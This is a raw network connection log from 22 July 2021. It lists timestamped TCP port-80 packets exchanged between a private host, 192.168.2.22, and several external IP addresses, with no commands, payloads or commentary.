Jul 22, 2021 16:11:04.784771919 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784787893 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784800053 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784813881 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784830093 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784832954 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784852028 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784869909 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784881115 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838396072 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838438034 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838476896 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838510990 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838541031 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838571072 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838579893 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838601112 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838612080 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838629961 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838641882 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838660002 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838669062 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838690042 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838691950 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838726997 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838728905 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838761091 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838777065 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838783979 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838790894 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838809967 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838820934 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.838829041 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.838877916 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839462996 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839498043 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839529991 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839553118 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839562893 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839587927 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839590073 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839616060 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839623928 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839638948 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839653015 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839663029 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839683056 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839683056 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839713097 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839724064 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839741945 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839751005 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839771032 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839771986 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839802027 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839812040 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839834929 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839838028 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839871883 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839881897 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839899063 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839900970 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839941025 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.839943886 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839982986 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.839983940 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840032101 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840043068 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840074062 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840076923 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840116978 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840116978 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840156078 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840157032 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840195894 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840195894 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840238094 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840240955 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840281010 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840287924 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840320110 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840329885 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840348959 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840352058 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840383053 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840388060 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840421915 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840428114 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840466976 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840467930 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840497971 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840507984 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840528965 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840552092 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840559006 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840568066 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840589046 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840591908 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840619087 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840627909 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840651035 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840656042 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840688944 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.840693951 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.840734959 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.893575907 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893601894 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893618107 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893629074 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893645048 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893661022 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893681049 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893699884 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893723965 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893745899 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893748999 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.893768072 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.893770933 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.893774033 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.893805027 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.893949032 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895359993 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895390034 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895410061 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895427942 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895448923 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895467997 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895488977 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895490885 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895508051 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895512104 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895513058 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895514965 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895535946 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895536900 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895558119 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895560026 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895581007 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895581007 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895598888 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895605087 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895618916 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895637989 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895699024 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895720959 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895741940 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895749092 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895765066 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895765066 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895783901 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895806074 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895807981 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895828962 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895850897 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895872116 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895872116 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895894051 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895895004 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895908117 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895910978 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895911932 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895920038 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895930052 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895944118 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895965099 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.895965099 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895987034 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.895987034 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.896003962 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.896003962 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.896022081 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.896043062 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:05.570666075 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.571880102 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.623153925 CEST	80	49168	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:05.623296976 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.624011040 CEST	80	49170	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:05.624090910 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.626411915 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.678565979 CEST	80	49170	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:05.795413971 CEST	80	49170	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:05.795495033 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:05.914294958 CEST	49171	80	192.168.2.22	50.16.239.65
Jul 22, 2021 16:11:06.029880047 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.031584024 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.079777002 CEST	80	49171	50.16.239.65	192.168.2.22
Jul 22, 2021 16:11:06.079889059 CEST	49171	80	192.168.2.22	50.16.239.65
Jul 22, 2021 16:11:06.081828117 CEST	49171	80	192.168.2.22	50.16.239.65
Jul 22, 2021 16:11:06.082034111 CEST	80	49170	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.082164049 CEST	49170	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.083905935 CEST	80	49172	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.083981037 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.085464954 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.137984037 CEST	80	49172	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.247175932 CEST	80	49171	50.16.239.65	192.168.2.22
Jul 22, 2021 16:11:06.253609896 CEST	80	49172	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.253807068 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.266412020 CEST	80	49171	50.16.239.65	192.168.2.22
Jul 22, 2021 16:11:06.266510010 CEST	49171	80	192.168.2.22	50.16.239.65
Jul 22, 2021 16:11:06.419375896 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.475151062 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.477945089 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.529861927 CEST	80	49172	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.529983044 CEST	49172	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.532917023 CEST	80	49174	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.533296108 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.534090996 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.537247896 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.538549900 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.588155985 CEST	80	49174	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.655970097 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.656426907 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.656562090 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.656682014 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.656800985 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.656919003 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.657737970 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.657861948 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:06.691916943 CEST	80	49174	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.692028046 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.772986889 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.773031950 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.773057938 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.773080111 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.773103952 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.773991108 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.774019003 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:06.917663097 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.918839931 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.970083952 CEST	80	49174	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.970236063 CEST	49174	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.970854044 CEST	80	49175	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:06.970984936 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:06.971990108 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.024063110 CEST	80	49175	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.127315044 CEST	80	49175	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.127403975 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.149967909 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.150005102 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.150973082 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.151005983 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.154983044 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.155023098 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.268795013 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.268825054 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.268836021 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.268846035 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.271481037 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.271508932 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.348849058 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.350173950 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.403080940 CEST	80	49175	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.403105021 CEST	80	49176	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.403260946 CEST	49175	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.403328896 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.405028105 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.458740950 CEST	80	49176	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.562021971 CEST	80	49176	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.562212944 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.779802084 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.780780077 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.811274052 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.811311960 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.832178116 CEST	80	49176	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.832232952 CEST	49176	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.832811117 CEST	80	49177	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.832905054 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.833553076 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:07.849447966 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.849518061 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.849841118 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.849890947 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.850322962 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.850380898 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.850505114 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.850558043 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.850609064 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.885720015 CEST	80	49177	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.917213917 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.927696943 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.927712917 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966157913 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966176033 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966183901 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966196060 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966360092 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966372967 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966425896 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.966464043 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.970015049 CEST	80	49173	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:07.970097065 CEST	49173	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:07.989145994 CEST	80	49177	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:07.989648104 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.034172058 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.034281015 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.151878119 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.152290106 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.152462006 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.152494907 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.152674913 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.152766943 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.216284037 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.218664885 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.268760920 CEST	80	49177	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.268934965 CEST	49177	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.269306898 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.269340038 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.269357920 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.269457102 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.269475937 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.270020008 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.270406961 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.270602942 CEST	80	49179	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.270697117 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.277009010 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.330912113 CEST	80	49179	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.387343884 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 22, 2021 16:11:08.387397051 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 22, 2021 16:11:08.445487022 CEST	80	49179	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.445559025 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.676125050 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.678586006 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.730535984 CEST	80	49179	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.730609894 CEST	49179	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.730715036 CEST	80	49180	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.730776072 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.731694937 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:08.786796093 CEST	80	49180	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.901592970 CEST	80	49180	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:08.901793003 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.000844955 CEST	49171	80	192.168.2.22	50.16.239.65
Jul 22, 2021 16:11:09.128971100 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.131151915 CEST	49181	80	192.168.2.22	194.147.115.74
